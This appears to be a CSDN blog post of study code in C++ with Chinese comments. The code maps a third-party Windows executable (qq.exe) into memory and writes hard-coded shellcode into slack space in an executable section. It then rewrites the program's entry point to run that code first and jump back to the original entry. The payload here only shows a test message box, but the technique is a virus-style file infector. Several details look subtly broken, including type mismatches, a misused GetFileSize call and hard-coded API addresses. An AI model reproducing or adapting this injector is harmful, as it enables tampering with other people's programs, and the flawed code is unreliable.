Code resource ✵1-CSDN博客

#include<Windows.h>
#include<iostream>
#include<fstream>
using namespace std;


BOOL  IsPeFile(LPVOID  ImageBase)   
//判断是否是PE文件结构
//首先检验文件头部的第一个字是否是PRIMAGE_DOS_SIGNATURE
//然后定位PE头，如果PE头符合IMAGE_NT_SIGNATURE则可以判断是有效的PE文件
//经过检验没有任何问题
{
 PIMAGE_DOS_HEADER  pDosHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader  = NULL;

 if(!ImageBase)
  return FALSE;
 pDosHeader = (PIMAGE_DOS_HEADER) ImageBase;

 if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  return FALSE  ;
 pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader->e_lfanew);
 if(pNtHeader->Signature != IMAGE_NT_SIGNATURE )
  return  FALSE;
 return    TRUE;
}



PIMAGE_NT_HEADERS  GetNtHeader(LPVOID  ImageBase) //获取NT结构指针
//q1什么叫做NT结构指针
//即返回pNtHeader
{
 PIMAGE_DOS_HEADER  pDosHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader  = NULL;

 if(!IsPeFile(ImageBase))
  return  NULL;
 pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
 pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader->e_lfanew);
 return    pNtHeader;
}

//以下我们就要获取PE头结构的两个部分 FileHeader与Optionalheader  
PIMAGE_FILE_HEADER  WINAPI  GetFileHeader(LPVOID  Imagebase)
{
//为什么有个winapi
// 获取FileHeader

 PIMAGE_FILE_HEADER  pFileHeader;
 PIMAGE_NT_HEADERS  pNtHeader = NULL;
 pNtHeader = GetNtHeader(Imagebase);
 if(!pNtHeader)
  return  NULL;
 pFileHeader = & pNtHeader->FileHeader;
 return  pFileHeader;
}

PIMAGE_OPTIONAL_HEADER  GetOptionalHeader(LPVOID  ImageBase)
{
 PIMAGE_OPTIONAL_HEADER  pOptionHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader = NULL;
 pNtHeader = GetNtHeader(ImageBase);
 if(!pNtHeader)
  return  NULL;
 pOptionHeader = & pNtHeader->OptionalHeader;
 return  pOptionHeader;
}

//将RVA地址转换为磁盘文件中的偏移
BOOL RvaToOffset(LPVOID lpMoudle,DWORD Rva)
{

 //定义变量存储转换后的偏移值和节表数
 DWORD FileOffset;
 WORD nSectionNum;

 //取NT结构头
 IMAGE_NT_HEADERS  *pNTHead;
 pNTHead=GetNtHeader(lpMoudle);
 nSectionNum=pNTHead->FileHeader.NumberOfSections;
 //NumberOfSections：定义PE文件Section的个数。如果对PE文件新增或删除Section的话，一定要记的修改此域。


 //取节表结构头(紧接在IMAGE_NT_HEADERS后面就是IMAGE_SECTION_HEADER)
 IMAGE_SECTION_HEADER *pSectionHead;
 pSectionHead=(IMAGE_SECTION_HEADER *)((DWORD)pNTHead+sizeof(IMAGE_NT_HEADERS));

 //循环比较Rva值所对应节表的偏移
 for(int i=0; i<nSectionNum; i++)
 {
  if((pSectionHead->VirtualAddress<=Rva) && (Rva<(pSectionHead->SizeOfRawData+pSectionHead->VirtualAddress)))
  {
   FileOffset=Rva-pSectionHead->VirtualAddress+pSectionHead->PointerToRawData;
   return FileOffset;
  }
  pSectionHead++;
 }
 return FALSE;
}

BOOL RvaToVirtualAddress(LPVOID lpMoudle,DWORD Rva)
{
 DWORD offect=RvaToOffset(lpMoudle,Rva);
 /*if(offect==NULL||offect==FALSE)
  return FALSE;*/
 return (DWORD)lpMoudle+offect;
}

//看到这里了------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------//3.23


VOID HandleSessionTable(LPVOID file,LPVOID base)
{
 char funcname[16]="MessageBoxA";
 char DLLname[16]="user32.dll";
 char Caption[16]="Warning";
 char Content[16]="This is test";
 DWORD LoadLibraryAAddr=0x1f864;
 DWORD GetProcAddress=0x24c46;

 char codes[]="\x60\xe8\x0\x0\x0\x0\x5f\x83\xef\x6\x8b\x4f\xf8\x8b"   //这里的数据就只插入代码
  "\x5f\xfc\x64\x8b\x15\x30\x0\x0\x0\x8b\x52\xc\x8b\x52\x1c\x8b"   //的二进制机器码
  "\x12\x8b\x42\x8\x8b\x42\x50\x3\xc8\x50\x8b\xd7\x83\xea\x38\x52"
  "\xff\xd1\x8b\xc8\x58\x3\xd8\x8b\xd7\x83\xea\x48\x52\x51\xff\xd3"
  "\x8b\xcf\x83\xe9\x18\x6a\x0\x51\x83\xe9\x10\x51\x6a\x0\xff\xd0\x61"
  "\xe9\x00\x00\x00\x00";


 int datalength=16*4+8;
 int codeslength=sizeof(codes)-1;

 IMAGE_NT_HEADERS *nthead=GetNtHeader(base);
 IMAGE_SECTION_HEADER *sessionhead=(IMAGE_SECTION_HEADER*)((DWORD)nthead+sizeof(IMAGE_NT_HEADERS));
 if(sessionhead->VirtualAddress==NULL)
  return;
 DWORD sessionnum=nthead->FileHeader.NumberOfSections;
 IMAGE_SECTION_HEADER *p=sessionhead;
 DWORD sFileSize=GetFileSize(base,NULL);
 for(int i=0;i<sessionnum;i++)
 {
  cout<<(char*)p->Name<<" " <<(int)p->SizeOfRawData-(int)p->Misc.VirtualSize<<endl;
  IMAGE_SECTION_HEADER tmp=sessionhead;
  memcpy(&tmp,p,sizeof(IMAGE_SECTION_HEADER));

  if((int)p->SizeOfRawData-(int)p->Misc.VirtualSize>codeslength+datalength&&\
   (p->Characteristics&IMAGE_SCN_MEM_EXECUTE))

   //看到这里了------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------//3.23
  {
   DWORD datavirtualbase=p->VirtualAddress+p->Misc.VirtualSize;
   DWORD datafileoffect=p->PointerToRawData+p->Misc.VirtualSize;
   SetFilePointer(file,datafileoffect,NULL,FILE_BEGIN);
   WriteFile(file,funcname,16,0,0);
   WriteFile(file,DLLname,16,0,0);
   WriteFile(file,Caption,16,0,0);
   WriteFile(file,Content,16,0,0);
   WriteFile(file,&LoadLibraryAAddr,4,0,0);
   WriteFile(file,&GetProcAddress,4,0,0);
   DWORD codevirtualbase=p->VirtualAddress+p->Misc.VirtualSize+datalength;
   DWORD cedefileoffset=p->PointerToRawData+p->Misc.VirtualSize+datalength;
   p->Misc.VirtualSize+=(codeslength+datalength);
   SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);
   DWORD oldentry=nthead->OptionalHeader.AddressOfEntryPoint;
   DWORD JMPOffset=oldentry-(codevirtualbase+codeslength-5)-5;
   memcpy(codes+codeslength-4,&JMPOffset,sizeof(DWORD));
   nthead->OptionalHeader.AddressOfEntryPoint=codevirtualbase;
   DWORD writesize=0;
   SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);
   if(!WriteFile(file,codes,codeslength,&writesize,0) )
   {
    TCHAR  *buffer;
    ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),0,( LPTSTR )&buffer,0,NULL );
    MessageBox(0,buffer,L"ok",0);
   }
   cout<<"success"<<endl;
   break;

  }

  p++;
 }

}



void main()
{


 HANDLE  hFile = CreateFile(L"qq.exe",           // open  pe file
  GENERIC_READ|GENERIC_WRITE,              // open for reading
  NULL,           // share for reading
  NULL,                      // no security
  OPEN_EXISTING,             // existing file only
  FILE_ATTRIBUTE_NORMAL,   // normal file
  NULL);                     // no attr. template

 HANDLE hFileMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);
 if(!hFileMap )
 {
  TCHAR  *buffer ;



  ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),0,( LPTSTR )&buffer,0,NULL );
  MessageBox(0,buffer,L"ok",0);
 }
 LPVOID  lpMemory = MapViewOfFile(hFileMap,FILE_MAP_READ|FILE_MAP_WRITE ,NULL,NULL,NULL);


 if(IsPeFile(lpMemory))
 {
  //AnalyzeNTHEADER(lpMemory);
  cout<<"yes"<<endl;
  IMAGE_NT_HEADERS *nthead=GetNtHeader(lpMemory);
  IMAGE_OPTIONAL_HEADER32 *image=GetOptionalHeader(lpMemory);
  cout<<"DataDirectory num:"<<image->NumberOfRvaAndSizes<<endl;




  HandleSessionTable(hFile,lpMemory);




 }
 else
  cout<<"no"<<endl;

 UnmapViewOfFile(lpMemory);
 CloseHandle(hFileMap);
 CloseHandle(hFile);


 system("pause");
}